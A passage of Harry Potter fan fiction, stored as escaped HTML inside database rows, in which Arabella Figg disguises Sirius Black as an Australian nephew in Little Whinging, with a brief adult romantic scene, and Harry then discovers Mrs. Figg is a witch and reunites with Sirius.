you.&#8221;</p>\n\n<p>&#8220;What is it?&#8221;</p>\n\n<p>&#8220;Well, at first I thought of Joseph Diogenes, but I reconsidered because it might be a bit too risky as it is doubtful that if anyone tried looking your name up that they&#8217;d find anyone by that name.&#8221;</p>\n\n<p>&#8220;Diogenes?&#8221; Sirius said with humour in his voice. &#8220;You mean I would be out looking for an honest man?&#8221;</p>\n\n<p>&#8220;Exactly. And Joseph was in reference to Joseph of the Bible who was unjustly accused of a crime and spent many years in prison. He also had been betrayed by his brothers, not unlike being betrayed by Pettigrew.&#8221;</p>\n\n<p>Sirius nodded, &#8220;Okay. Joseph works. Do you have another last name in mind?&#8221;</p>\n\n<p>&#8220;O&#8217;Brien? I know the Aussies have a lot of Irish surnames and it was the first one to pop into my brain. I know it&#8217;s very common, so if they look up Joseph O&#8217;Brien they&#8217;d have difficulty in trying to work through all the different candidates.&#8221;</p>\n\n<p>&#8220;Now why is it that you want me to become Australian?&#8221;</p>\n\n<p>&#8220;Because the wizarding community is very small here in <st1:country-region><st1:place>Britain</st1:place></st1:country-region>. If you start talking with witches or wizards, there&#8217;s a good chance they&#8217;ll know someone that would have graduated in the time that you&#8217;ll be claiming you were at Hogwarts. It&#8217;s just too risky. Australia on the other hand is far away. Hopefully you won&#8217;t run into too many people with relatives from Down Under. Besides, the accent is not that much different. You should be able to pick it up quickly. Now let&#8217;s go.&#8221; </p>\n\n<p>Arabella waved her wand at the sandals sitting next to the door, so that they fit his feet. She then took his arm and ushered him out the front door. </p>\n\n<p>They started to walk down the quiet suburban block. The houses seemed like they had been made by a cookie cutter, it was hard to distinguish one from another. The only difference seemed to be the different plants in the front yard and some had different lawn ornaments. Arabella&#8217;s yard had the most lawn ornaments of them all. Of course many of them were magical instruments disguised as lawn gnomes or mushrooms. She also had the only yard without grass. Mowing was too problematic, so instead it was filled with lavender and roses in the front yard. </p>\n\n<p>As they strolled down the sidewalk it seemed as if everyone was still inside fixing their morning breakfast. Arabella gave a small motion towards a house that was across the street from where they were walking. The curtains had parted and they were being watched.</p>\n\n<p>&#8220;That didn&#8217;t take her long. You&#8217;ll be meeting Nadine on our trip home,&#8221; she said matter-of-factly. She squeezed his arm tightly. &#8220;See what you can do to make yourself as unattractive to her as possible. It won&#8217;t be easy, because one &#8211; you&#8217;re gorgeous and charming and two &#8211; because she&#8217;s desperate and pretty dim. Don&#8217;t be afraid of being blunt with her, subtlety is not something she can recognize.&#8221;</p>\n\n<p>He patted her hand reassuringly. &#8220;I&#8217;ve got some ideas in mind that should do the trick.&#8221;</p>\n\n<p>As they walked the six-block perimeter surrounding the Dursley&#8217;s Privet Drive home she pointed out the hidden monitoring devices and showed him how to verify they were fully operational. Some were as small and as inconspicuous as a paperclip attached to a telephone poll. Others were as large as birdhouses and attached to tree limbs. Some were monitors for magical activity and while others had enchantments attached to them to prevent Apparation within the zone. There were seventy-two devices in all. Arabella then took Sirius down Privet Drive to show him the infamous Number 4 Privet Drive, Harry&#8217;s childhood home. </p>\n\n<p>&#8220;This street is Unplottable for wizards. They simply cannot find it even with a map. Unless, I specifically lift the enchantments and allow their entry,&#8221; explained Arabella.</p>\n\n<p>&#8220;I tried to catch a glimpse of Harry after I escaped from Azkaban. I wondered why I couldn&#8217;t find his house. I knew the address because his fame reached into the confines of the prison and many of the captured Death Eaters spoke of how they wanted to go to Number 4 Privet Drive if they were ever released and finish the job that their master couldn&#8217;t finish,&#8221; Sirius said darkly.</p>\n\n<p>&#8220;Yes, it was hard to keep Harry&#8217;s whereabouts a secret from the Daily Prophet. Later we had quite a tourist trade of witches and wizards coming to Little Whinging in the hopes of catching a glimpse of The Boy Who Lived. None were able to find his house though. I did see quite a few people coming through this neighbourhood &#8211; at least outside on the perimeter. Thankfully, no one ever realized who I was.&#8221;</p>\n\n<p>She then pointed out the street lamps to Sirius and told him to look closely at the bulbs. They emitted an eerie orange glow even during the daylight hours. &#8220;Dumbledore put an enchantment on these lamps the night that Harry was left on the Dursley&#8217;s doorstep. That&#8217;s the source of the Unplottable nature for wizards. Unfortunately, it doesn&#8217;t work for other magical beings. I had a great fright the summer after Harry&#8217;s first year. A house-elf had repeatedly Apparated within the Zone and was intercepting his owl posts. Then this elf threatened Harry and performed a Hover Charm and it set off the outdated magic detector that Dumbledore allowed the Ministry to install on their roof. They couldn&#8217;t tell the difference between elfin magic and human magic.&#8221;</p>\n\n<p>&#8220;But yours could?&#8221; he asked.</p>\n\n<p>&#8220;Well, there is so much magic around from other magical beings. Fairies, gremlins, ghosts, poltergeists, elves&#8230;that I had those brands of magic calibrated out because it was causing too much background noise. I honestly never thought that it would be a problem because I didn&#8217;t think any of those creatures would ever be a threat to his security. I&#8217;ve since changed it and had to bring more sentries on to come and investigate all the instances of magic. The night when the elf performed magic in the Dursley&#8217;s household the damned Ministry automatically sent an owl warning Harry that he could be expelled if he cast another charm outside school and then&#8230;&#8221; her tone became very bitter.</p>\n\n<p>&#8220;What happened then?&#8221;</p>\n\n<p>&#8220;The Dursleys responded by locking him away in his room. It looked like they were planning on holding him prisoner there until he was an adult. I became frantic and started thinking up all kinds of desperate schemes to get him out of there, when the answer to my prayers literally fell out of the sky.&#8221;</p>\n\n<p>Sirius hadn&#8217;t heard this story before and was very intrigued. &#8220;Go on.&#8221;</p>\n\n<p>&#8220;Ron Weasley and his twin brothers Fred and George had decided to check on Harry since none of Ron&#8217;s letters were ever answered. Their father had bewitched a Ford Anglia convertible and they were flying it to rescue Harry. When it came into my radar screen it took me a few moments to lift the veil to allow them to find Harry&#8217;s house. They had to take bars off of his bedroom window to get him out. They took him back to the their house for the rest of the summer.&#8221;</p>\n\n<p>&#8220;You said you brought on more sentries, doesn&#8217;t that pose a problem with your neighbours having so many cats?&#8221; he asked.</p>\n\n<p>&#8220;It would if they behaved like ordinary cats. They have an understanding with all the cats and dogs in the neighbourhood and there is never any trouble between them. My sentries also do not hunt any birds, mice, moles, etc. It would interfere with their surveillance activities. They also don&#8217;t use anyone&#8217;s garden as a litter box. Because of this, no one seems to care that I&#8217;ve got eight cats that patrol the neighbourhood on a daily basis.&#8221;</p>\n\n<p>Vernon Dursley walked out of his house and strode to his car. He was in too much of a hurry to even notice the retreating form of the woman who babysat his nephew for years. Sirius turned around and saw Vernon as he climbed inside his car. He muttered a few choice obscenities regarding Harry&#8217;s uncle under his breath.</p>\n\n<p>&#8220;Yes, well all of that is true. I&#8217;ve said things far worse about them,&#8221; she said patting his hand. &#8220;The only saving grace is that Harry is protected from Dark Magic by being in the care of his blood relatives. Unfortunately, they&#8217;re despicable people who treat him horribly. That&#8217;s why I&#8217;m going to see if I can get Dumbledore to change his mind about letting Harry know who I am.&#8221; She checked her watch and shook her head. &#8220;We are behind schedule, but hopefully we&#8217;ll be able to get most things on my list done today. Let&#8217;s head back home.&#8221;</p>\n\n<p>As they turned the corner on their street Arabella gave his arm a squeeze. &#8220;Try to use that accent as best you can,&#8221; she whispered.</p>\n\n<p>A young woman was waving to them as she crossed the street. She was wearing a black and white striped dress that was worn very tightly and the broad horizontal stripes accentuated her curves. The neckline was a bit too plunging for office wear as it showed off her ample cleavage. She was a bleach-bottle blonde wearing red lipstick and bright blue eye shadow. </p>\n\n<p>&#8220;Good morning Mrs. Figg, I saw that you have a visitor with you,&#8221; she panted as she came to a stop before them. &#8220;Who is this charming man?&#8221;</p>\n\n<p>&#8220;Good morning, Nadine. This is my nephew Joseph.&#8221;</p>\n\n<p>&#8220;Hello, Joseph!&#8221;</p>\n\n<p>&#8220;G&#8217;day.&#8221;</p>\n\n<p>&#8220;He&#8217;ll be staying with me for awhile,&#8221; continued Arabella.</p>\n\n<p>&#8220;Oh really? Well, I&#8217;ll have to invite you over for dinner and so we can get to know each other,&#8221; she said batting her eyelashes that were heavily clumped with mascara.</p>\n\n<p>Arabella shook her head quickly, &#8220;Oh I don&#8217;t think that&#8217;s a very good idea. Poor Joseph has tremendous food allergies to a whole host of foods. It&#8217;s very hard to cook for him.&#8221;</p>\n\n<p>Sirius then added, &#8220;Plus I keep Kosher.&#8221;</p>\n\n<p>&#8220;Kosher?&#8221; asked Nadine.</p>\n\n<p>&#8220;That and he&#8217;s also a vegan,&#8221; added Arabella.</p>\n\n<p>&#8220;A vegan?&#8221; Nadine repeated incredulously. A look of I-can&#8217;t-believe-you&#8217;re-one-of-those crossed her eyes.</p>\n\n<p>&#8220;I can&#8217;t tell you how difficult it is to cook for him. I had to change the menu ten times last night to find something that he could eat. Oh and you can&#8217;t even cook something for yourself to eat that he&#8217;s allergic to. The smell alone in the house will make him break out in hives,&#8221; Arabella quickly added.</p>\n\n<p>&#8220;Oh, well maybe you could just come over after dinner sometime for coffee or cocktails?&#8221; she said hopefully.</p>\n\n<p>&#8220;I don&#8217;t think so,&#8221; Sirius said. &#8220;I&#8217;m not inta small talk and there aren&#8217;t many people who can tolerate me after about five minutes or so. There&#8217;s my aunt and my luvly wife of twenty-five years. Other than that, I wind up saying somethin&#8217; blunt that hurts people&#8217;s feelins&#8217;.&#8221;</p>\n\n<p>Nadine blinked and then continued on. &#8220;So how long did you say you were staying?&#8221; </p>\n\n<p>A small child no older than three was standing at the front door of Nadine&#8217;s house started wailing, &#8220;Mommmmmy.&#8221; Nadine turned around to the child and said in a sing-song voice, &#8220;Hang on sweetie, I&#8217;ll be there in a few minutes!&#8221; Then she quickly turned back to Sirius and gave him her full attention.</p>\n\n<p>&#8220;Well, he&#8217;s just visiting for right now, but I daresay he may wind up house-sitting for me,&#8221; said Arabella.</p>\n\n<p>&#8220;Really?&#8221; Nadine said cheerfully.</p>\n\n<p>&#8220;Yes, my older sister has taken quite ill. She has terminal cancer and the doctors aren&#8217;t sure how long she&#8217;s got. Anyway, she&#8217;s been deteriorating and I fear she won&#8217;t be able to take care of herself much longer. I&#8217;m thinking of staying with her and caring for her during those last few months she has left, then I&#8217;ll have to stay and take care of the details of her estate. Joseph has agreed that he would watch my house for me.&#8221;</p>\n\n<p>&#8220;Is it your mother who is ill?&#8221; asked Nadine worriedly to Sirius.</p>\n\n<p>&#8220;No, Joseph is my late husband&#8217;s sister&#8217;s son,&#8221; replied Arabella.</p>\n\n<p>&#8220;What about your wife? Will she be staying with you?&#8221; Nadine asked suspiciously.</p>\n\n<p>&#8220;She&#8217;s going through some rough times right now. She&#8217;s seeing a therapist ta help her. We decided that during this time that it was best ta be apart. I&#8217;ll wait as long as I have ta for her. I&#8217;d never leave her. And I&#8217;m hopeful that I will convince her ta visit me here once in awhile. So, if ya see me with a beautiful woman with long blondish brown hair &#8211; that&#8217;s my beloved Catherine,&#8221; answered Sirius.</p>\n\n<p>&#8220;She looks a lot like I did when I was her age,&#8221; quickly added Arabella. &#8220;She is a wonderful woman and I will simply disown you Joseph if you do anything to hurt her.&#8221;</p>\n\n<p>&#8220;You sound like you&#8217;re from Australia?&#8221; asked Nadine trying to quickly change the subject.</p>\n\n<p>&#8220;Originally. I&#8217;ve lived in Britain for many years, but it&#8217;s hard ta lose the accent you were born with,&#8221; responded Sirius.</p>\n\n<p>&#8220;So, do you work around here?&#8221; asked Nadine.</p>\n\n<p>&#8220;He&#8217;s a writer,&#8221; offered Arabella.</p>\n\n<p>&#8220;Well, I&#8217;m more of an academic than a writer. But I&#8217;ll be taking a sabbatical this year so I can focus my energies on writing journal articles that I just haven&#8217;t had the time for,&#8221; added Sirius.</p>\n\n<p>&#8220;Oh really? I&#8217;d love to read your work sometime,&#8221; Nadine chirped.</p>\n\n<p>&#8220;No you wouldn&#8217;t. Very few people do. It&#8217;s very dry, boring academic writing. I need ta do it for my career or I wouldn&#8217;t bother. My writings appear in publications that have probably a circulation of fifty academics. One of the articles I&#8217;ll be writing will deal with how the Protestant Reformation and the Enlightenment have influenced modern economic policy,&#8221; Sirius said in a haughty manner.</p>\n\n<p>&#8220;Really?&#8221; said Nadine dully as her eyes got a glazed over look in them.</p>\n\n<p>Sirius then gave a tremendous sneeze.</p>\n\n<p>&#8220;Bless you. Is it your allergies, dear?&#8221; asked Arabella as she handed him a handkerchief.</p>\n\n<p>&#8220;No, it&#8217;s that harsh perfume she&#8217;s wearing. I&#8217;m starting ta have a migraine,&#8221; he said putting a hand to his forehead.</p>\n\n<p>Nadine stared at him with a look of deep disappointment. Then the child started wailing again, &#8220;Mommmmmmmy!!!!&#8221;</p>\n\n<p>&#8220;I think your daughter needs you. She&#8217;s all starkers,&#8221; Sirius said with contempt.</p>\n\n<p>Nadine turned around and looked at her naked daughter standing at the screen door. She became instantly enraged and started bellowing. </p>\n\n<p>&#8220;EMILY! I TOLD YOU I WOULD ONLY BE A FEW MINUTES!&#8221;</p>\n\n<p>She started stomping across the street. About half-way she absentmindedly waved in Arabella and Sirius&#8217;s direction and said, &#8220;Bye!&#8221;</p>\n\n<p>Arabella was biting her lip in trying to hold back the laughter. The giggles started and Sirius patted her on the back. They reached her front door and as soon as they were safely inside she roared with laughter. </p>\n\n<p>&#8220;You were ruddy brilliant! I have never seen Nadine have such a look of revulsion in her eyes about a man, ever. What was that stuff you said about economic theory anyway?&#8221;</p>\n\n<p>Sirius shook his head laughing, &#8220;I have no idea. I just made it up and figured she wasn&#8217;t the type to know anything about religious history, philosophy or economic theory. It was just stuff I remembered hearing about in Muggle Studies class.&#8221;</p>\n\n<p>&#8220;Oh my, I haven&#8217;t had a good laugh like that in years. Whew!&#8221; Arabella sat down in a chair and had to catch her breath from laughing. &#8220;One really good thing is that by nightfall, everyone on this street will know our cover. Nadine will be sure to spread the word and I daresay that no one is going to be bothering you too much.&#8221;</p>\n\n<p>&#8220;If they do, I&#8217;ll just put on my surly academic attitude and frighten them off,&#8221; he laughed.</p>\n\n<p>&#8220;Oh and thanks for bringing up &#8216;Catherine.&#8217; You&#8217;ve given me a cover so I won&#8217;t have to worry if I show my true form,&#8221; she said giving him a quick kiss on the cheek.</p>\n\n<p>&#8220;Anything to help my lover,&#8221; he smiled.</p>\n\n<p>She stood up and crossed to the kitchen. &#8220;Well, it&#8217;s time we had some breakfast and then we&#8217;ve got a very full day ahead of us.&#8221; </p>\n\n<p>They had a large breakfast of scrambled eggs, kippers, potatoes, tea and toast. Arabella then called Albus Dumbledore by the fire on her stove. </p>\n\n<p>&#8220;Albus, I accept your new assignment. I&#8217;ve already started training my replacement and working on his assimilation in the neighbourhood. I do have a question for you though.&#8221;</p>\n\n<p>&#8220;And what is that?&#8221; asked Dumbledore.</p>\n\n<p>&#8220;Doesn&#8217;t Hagrid offer to procure magical ingredients for Mr. Ollivander? I was planning on going to Diagon Alley soon and wouldn&#8217;t want to miss seeing my favourite wand maker.&#8221;</p>\n\n<p>Dumbledore smiled as he understood her cryptic message. &#8220;Why yes, I believe that Hagrid will probably be helping Mr. Ollivander very soon.&#8221;</p>\n\n<p>&#8220;I also wanted to set up an appointment to see you in person. I think there are many details that we need to discuss regarding my future assignment.&#8221;</p>\n\n<p>&#8220;Why don&#8217;t you meet me in my office this Friday at eleven. The students will be leaving that morning on the Hogwarts Express and we can discuss things over lunch.&#8221;</p>\n\n<p>&#8220;Thank you, Albus,&#8221; she replied and watched as his head disappeared from the flames.</p>\n\n<p>Mundungus Fletcher was contacted next. Arabella told him that she needed to speak with him in person because she had dire news for him. Minutes later, Fletcher appeared at her hearth. He was a large, crotchety old wizard with a grizzled beard and large gaps between his teeth. Arabella told him the situation regarding Voldemort&#8217;s return and then told him of Sirius&#8217;s innocence. At that point Sirius came out of the kitchen and showed himself. Fletcher was astounded at how Sirius looked and nodded in approval. He then started on a tirade regarding Fudge and how he thought the Ministry of Magic was filled with incompetents, fools and Death Eaters. When he started to reminisce about the war against Grindlewald, Arabella steered the conversation back to getting Fletcher to agree to watch over the Zone when she needed to take Sirius out for errands. She then made telephone calls to make optical and dental appointments for Sirius that day. </p>\n\n<p>Arabella introduced Sirius to the wonders of Muggle bus transportation and gave him a broad overview of Little Whinging. They went clothes shopping and picked up several bags worth of Muggle clothing for Sirius. They also picked up some videotaped travelogues for Australia as well as the movie, &#8220;A Cry in the Dark&#8221; which was set in Australia. While he was at the dentist he had his teeth cleaned, x-rays taken and they made further appointments to fill six cavities. His eye appointment resulted in ordering bifocal extended-wear coloured contact lenses that would be ready in a few days. Arabella had to use a little suggestive magic with both the receptionists at the dentist and optometrist offices that the identification cards shown to them were for Joseph O&#8217;Brien. Earlier over the phone she had used some suggestive magic to make available appointments suddenly appear on their schedules. </p>\n\n<p>They arrived home in the late afternoon to find Mundungus Fletcher in an irritable mood. His inability to communicate with the cats made it difficult for him to perform surveillance in the Zone without spending the entire time staring at the monitor hoping to not spot any suspicious activity.</p>\n\n<p>&#8220;Mundungus, would you like to stay for dinner?&#8221; asked Arabella. &#8220;I&#8217;m going to make meatloaf.&#8221;</p>\n\n<p>&#8220;Sounds good,&#8221; he grumbled in reply. &#8220;I don&#8217;t know how your cats sit and look at these monitors all day. Little blips from fairies and pixies were constantly on the screen. Every time I went to the loo, those cats kept taking my seat leaving all their damned hair on it. I hope you get all your errands run soon. I don&#8217;t really want to do this everyday.&#8221;</p>\n\n<p>&#8220;Why don&#8217;t you come downstairs and talk with me while I get dinner ready? I&#8217;ve got a little whiskey if you&#8217;d care for a nip.&#8221;</p>\n\n<p>Mundungus got up and stumbled down the stairs complaining about his sore back and legs. </p>\n\n<p>Sirius whispered in Arabella&#8217;s ear, &#8220;Why did you have to invite him to stay? It&#8217;s been hard enough being near you all day and not being able to touch you, but with him having dinner it&#8217;ll be hours before we can&#8230;&#8221;</p>\n\n<p>She gave him a sly smile, &#8220;I know, but we need to make sure he&#8217;ll come here to relieve us for the next week or so. I won&#8217;t feel safe leaving you here or sending you out in the Muggle world alone until you are properly armed with a wand. Until then we need him to help us out. I want him to feel appreciated, besides we&#8217;ll have the rest of the night for ourselves.&#8221;</p>\n\n<p>After dinner and after Fletcher&#8217;s monologue about his mistrust of the Ministry, Sirius gave a large yawn and stretched his arms. Fletcher seemed to get the hint and grumbled something about needing to get home.</p>\n\n<p>&#8220;I&#8217;ll see you in the morning at ten. Thanks for dinner, Arabella. Good seeing you again, Sirius,&#8221; he said as he prepared to step in her fireplace. He threw the Floo powder and called, &#8220;The Hovel!&#8221; and disappeared into the flames.</p>\n\n<p>Arabella waited a few moments and then extinguished the flames, closed the flue and magically disconnected her house from the Floo network.</p>\n\n<p>Sirius pulled her towards him and said softly in her ear, &#8220;You need to take that antidote right now or I&#8217;m going to start having lewd thoughts about my grandmother.&#8221;</p>\n\n<p>Arabella blushed and pulled the small bottle out of her pocket. She had barely gotten the drops under her tongue when Sirius was already pulling the pins out of her hair. The change wasn&#8217;t quite complete when he started to open the snaps of her housedress. </p>\n\n<p>&#8220;Sirius, I bought something today that I&#8217;d like to change into.&#8221;</p>\n\n<p>He shook his head, &#8220;Later. I want you right now, right here and naked.&#8221; His hands started to unsnap her brassiere and then he stopped. &#8220;No one can see in these windows can they?&#8221;</p>\n\n<p>&#8220;No. I charmed them from Day One,&#8221; she replied.</p>\n\n<p>&#8220;Good,&#8221; he said as his lips started to kiss the base of her neck.</p>\n\n<p>Arabella found herself responding to the gentle touch of his hands roaming over her body. She started to imagine that they would probably make love in every room of this house by the time she had to leave for Hogwarts. Like that would be a bad thing, she mused. Her hands fumbled with the buttons on his shirt and then they slid down his chest and unzipped his trousers. She found that his aging twenty years had no adverse impact on his virility. Soon they were exploring the depths of their passion on the living room floor. </p>\n\n<p></p>\n\n<p>*</p>\n\n<p>In Chapter Two: &#8220;Harry&#8217;s Summer Surprise&#8221; our hero finds out that his old babysitter is not what she appeared to be. I also switch to the standard 3<sup>rd</sup> person Harry POV. I did not want Harry to become a peeping tom in order for the reader to enjoy the interaction between Sirius and Arabella.</p>\n\n<p></p>\n\n<p></p>\n\n<p></p> '),
	(260, 2, ' <p>Chapter Two - Harry&#8217;s Summer Surprise</p>\n\n<p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Rating:&nbsp; R &#8211; For adult themes and sexual intimacy.</p>\n\n<p>Author&#8217;s Notes:&nbsp; I wish to thank my beta readers Cara Hicks and Amanda Byer for helping to make this story as strong as possible.</p>\n\n<p>Harry Potter was looking forward to a dreadful summer.&nbsp; He arrived home to Number 4 Privet Drive to absolute silence from his aunt, uncle and cousin.&nbsp; It was as if they thought if they remained silent that he would simply disappear and no longer be a burden to them.&nbsp; He was hoping that Dumbledore would allow him to stay with the Weasleys, but was discouraged by what Ron had said before they left Hogwarts.&nbsp; Dumbledore was against it for his own reasons.&nbsp; Harry knew that meant for his own safety he needed to be with his blood relations even though they treated him like common pond scum.&nbsp; He also knew that he should be using his summer holiday as a time to prepare for his upcoming Ordinary Wizarding Level exams&nbsp; (O.W.L.s), but he just couldn&#8217;t get himself motivated to concentrate on his studies.&nbsp; </p>\n\n<p>The first full day he was home the Dursleys did talk.&nbsp; Just not to him.&nbsp; They talked with <st1:place>Dudley</st1:place> incessantly about how he was doing at <st1:place><st1:placename>Smeltings</st1:placename>\n\n<st1:placetype>Academy</st1:placetype></st1:place>.&nbsp; It seems this past year Duddikins grew one inch taller and actually lost ten pounds due to the strict diet that the school nurse had him on.&nbsp; She thought he should have lost more weight, but somehow or another he seemed to acquire food that was not part of the regimen.&nbsp; Harry figured that <st1:place>Dudley</st1:place> bullied other kids to give him their food.&nbsp; Since <st1:place>Dudley</st1:place> was still on a restricted diet, Petunia was once again forcing the entire family to share his pain.&nbsp; The evening meal consisted of one large spoonful of white rice, five green beans and two strawberries.&nbsp; Harry went to bed with his stomach still growling from hunger and realizing that his aunt, uncle and cousin would probably do everything they could to ignore him for two solid months.</p>\n\n<p>Harry wondered if the Dursleys&#8217; current maltreatment of him had anything to do with the last time he had seen them.&nbsp; Right before he left last summer, his cousin Dudley had a tongue that was a foot-long.&nbsp; This was thanks to some magical toffee made by Fred and George Weasley.&nbsp; Harry had never asked Mr. Weasley about whether or not he had performed a memory charm on the Dursleys after he had restored <st1:place>Dudley</st1:place>&#8217;s tongue to its normal state.&nbsp; He didn&#8217;t dare bring up the subject with the Dursleys nor anything else that mattered to him, because it all dealt with the magical world.&nbsp; And the Dursleys hated everything that had to do with magic.</p>\n\n<p>Harry found himself pacing his bedroom floor that night.&nbsp; He was worried about what was happening with Lord Voldemort and his forces.&nbsp; He had been having trouble sleeping ever since the third task of the Triwizard Tournament because inevitably Harry would relive one of the most painful nights in his life.&nbsp; As soon as he would fall asleep he&#8217;d once again be magically transported to a graveyard and watch helplessly as the evil wizard was restored to a human-like body.&nbsp; He kept reliving the pain of seeing Cedric Diggory being murdered as well as being forced to duel with Voldemort.&nbsp; The cold, murderous laugh of that evil wizard sent shivers down his spine even in his sleep.&nbsp;&nbsp; He always awoke from this dream with his bed soaked with sweat and his pillow drenched with tears.</p>\n\n<p>Harry was anxious to know what was happening in the Wizarding World.&nbsp; Dumbledore had given orders to Snape, Hagrid, Sirius and Bill and Molly Weasley in order to marshal forces against Voldemort and his followers.&nbsp; Harry wondered what those orders entailed and knew that he probably wouldn&#8217;t hear anything for a while from anyone.&nbsp; He knew that Dumbledore had tried to manage the information regarding dangers to Harry&#8217;s safety like everything else:&nbsp; on a need to know basis.</p>\n\n<p>Harry had found out certain things like the fact that Sirius Black was his godfather by accidentally overhearing conversations.&nbsp; Sometimes eavesdropping seemed to be the only way that Harry found things out &#8211; things that he wound up needing to know in order to stay alive.&nbsp; He desperately wanted to hear from Sirius, but he thought that it was probably too dangerous for Sirius to detail anything to Harry in a letter lest Voldemort&#8217;s minions intercept it.&nbsp; He also remembered Sirius warning him not to use Hedwig to contact him.&nbsp; Harry&#8217;s white snowy owl was beautiful, but she also stood out and could call too much attention, which might jeopardize everything.&nbsp; When he was at school he could use some of the other owls at the owlery.&nbsp; At home he only had Hedwig and Harry couldn&#8217;t risk endangering Sirius by writing to him, there was far too much at stake.&nbsp; No, Harry would just have to be patient and wait to hear from Sirius even if it meant burning a hole in the floor from pacing himself to sleep.&nbsp; He was beginning to feel drowsy and crawled into bed willing himself to have a dreamless sleep.</p>\n\n<p>The next morning Harry dragged himself out of his bed feeling exhausted and starving.&nbsp; As he entered the kitchen he heard his Aunt Petunia on the phone.&nbsp; It was normal for her to have the phone permanently attached to one ear and one eye peering out the window spying on her neighbours.</p>\n\n<p>&#8220;Certainly.&nbsp; He will be there at <st1:time hour="9" minute="0">nine o&#8217;clock</st1:time>&#8230;.That&#8217;s no problem.&nbsp; Just say the word if you&#8217;d like to have him help you all summer long.&nbsp; Otherwise he&#8217;s just a nuisance to me lying around the house moping.&nbsp; Well, I&#8217;ll talk to you later, good-bye.&#8221;</p>\n\n<p>Harry had made himself some toast and was just sitting down to the breakfast table when Aunt Petunia turned and spoke to him for the first time since he had come home.</p>\n\n<p>&#8220;Harry, Mrs. Figg called and asked if you could come over today and help her around the house.&nbsp; She&#8217;s getting frail and could use someone with a strong back.&nbsp; I told her you&#8217;d be happy to help her.&#8221;</p>\n\n<p>Harry&#8217;s initial response to hearing Mrs. Figg&#8217;s name was reflexive.&nbsp; He gave out a little sigh and rolled his eyes.&nbsp; Not the crazy old cat woman again, he thought.&nbsp; </p>\n\n<p><st1:place>Dudley</st1:place> openly sniggered.</p>\n\n<p>Aunt Petunia snapped at Harry, &#8220;She&#8217;ll be expecting you at <st1:time hour="9" minute="0">nine o&#8217;clock</st1:time> sharp.&nbsp; Mrs. Figg has helped this family out for many years and we expect that you will return this favour for her.&#8221;</p>\n\n<p>&#8220;Yes, Aunt Petunia,&#8221; he droned.</p>\n\n<p>Petunia then turned to <st1:city><st1:place>Vernon</st1:place></st1:city> and began gossiping about Mrs. Figg and how she had heard from the neighbourhood grapevine that the old lady had a sister with terminal cancer and might be leaving to stay with her soon.</p>\n\n<p>&#8220;They say the two haven&#8217;t spoken to each other in over twenty years,&#8221; she gasped.</p>\n\n<p>Harry excused himself from the breakfast table and began walking up the stairs to finish getting ready.&nbsp; <st1:place>Dudley</st1:place> followed him and started in on his favourite hobby, tormenting Harry.</p>\n\n<p>&#8220;Ooooooh, maybe she&#8217;ll have you change all the litter boxes.&nbsp; She must have about one hundred of them.&nbsp; Maybe you&#8217;ll be giving all her precious kitties baths.&nbsp; You aren&#8217;t afraid of licking a few cats are you?&#8221;</p>\n\n<p>Harry wasn&#8217;t paying any attention to this.&nbsp; Instead he was thinking about something that had puzzled him last summer.&nbsp; Mr. Weasley&#8217;s borrowed tent at the Quidditch World Cup had been furnished on the inside to look exactly like Mrs. Figg&#8217;s house.&nbsp; He had forgotten that, but now he began to wonder about Mrs. Figg and who she really was.&nbsp; His mind was racing and it seemed that he didn&#8217;t even remember getting ready or walking the distance from the Dursley household to Mrs. Figg&#8217;s house.&nbsp; He did notice an inordinate number of cats that seemed to be watching him from a distance.&nbsp; They didn&#8217;t come forward, but instead it appeared that they would nod their heads ever so slightly in his direction.&nbsp; </p>\n\n<p>He raised his hand to knock on Mrs. Figg&#8217;s door, but she opened it before his hand connected with the wood.&nbsp; Before him stood the woman who had watched him during his childhood.&nbsp; A woman that Harry had always dreaded seeing because he thought she was mad. &nbsp;Here now was a woman that Harry looked at as if for the first time.&nbsp; She was an old lady with white hair piled on her head in a large bun and wore gold-framed spectacles and a housedress decorated with small flowers.&nbsp; Then Harry began to sense that Mrs. Figg was not what she appeared to be.</p>\n\n<p>&#8220;Harry, it&#8217;s so good to see you again.&#8221;</p>\n\n<p>&#8220;Mrs. Figg, I, er&#8230;.,&#8221; Harry stammered.&nbsp; He tried to think of how to ask all the questions that were nagging him.&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Yes, Harry?&#8221;</p>\n\n<p>&#8220;Are you Arabella Figg?&#8221; he blurted out.</p>\n\n<p>A slow smile started to come across her face.&nbsp; &#8220;Why yes, Harry.&nbsp; That is my name.&nbsp; Why don&#8217;t you come in?&nbsp; Maybe have some tea?&#8221;</p>\n\n<p>Harry was right.&nbsp; Mrs. Figg was a witch and she knew Dumbledore.&nbsp; Sirius had been told to contact her and tell her about Voldemort&#8217;s resurrection.&nbsp; Now, maybe, just maybe Harry would find out answers to the many burning questions he had.</p>\n\n<p>&#8220;Please, come into my kitchen.&#8221;</p>\n\n<p>Harry followed her into the small kitchen and saw a man sitting at the table.&nbsp; He was a handsome middle-aged man dressed in a white dress shirt and black slacks, he had a full head of hair that was cut short and had been black but was going quickly grey and a full moustache.&nbsp; Something about the man looked familiar, but Harry couldn&#8217;t place him.&nbsp; The man stood as he walked into the room and smiled.</p>\n\n<p>&#8220;Hello Harry.&#8221;</p>\n\n<p>Harry squinted and then recognized the voice.&nbsp; His jaw dropped and he quickly ran into the man&#8217;s outstretched arms.</p>\n\n<p>&#8220;Sirius!&nbsp; I didn&#8217;t recognize you.&#8221;</p>\n\n<p>&#8220;That&#8217;s kind of the idea.&nbsp; I must say this was all Bella&#8217;s doing.&#8221;</p>\n\n<p>Mrs. Figg snorted, &#8220;Well, it took me for a shock when I first saw him.&nbsp; You&#8217;d have thought he just had escaped from Azkaban.&nbsp; He was still wearing those ratty old robes and hadn&#8217;t had a decent shave or haircut in years.&nbsp; Honestly, Harry, I know you sent him some food last year.&nbsp; Couldn&#8217;t you have sent him a comb or brush?&#8221;</p>\n\n<p>Harry blushed at that.&nbsp; He hadn&#8217;t thought of that kind of thing, but she was right.&nbsp; Sirius should have tried to improve his appearance.</p>\n\n<p>&#8220;As I was telling Sirius, people are looking for the madman with shaggy hair or the young man with long hair they remember all those years ago before you were unjustly imprisoned.&nbsp; They are not looking for a mature man with grey hair.&#8221;</p>\n\n<p>Sirius nodded as he smoothed one hand over his hair.&nbsp; &#8220;Bella made me go prematurely grey, but I&#8217;ve been told that grey hair makes men look 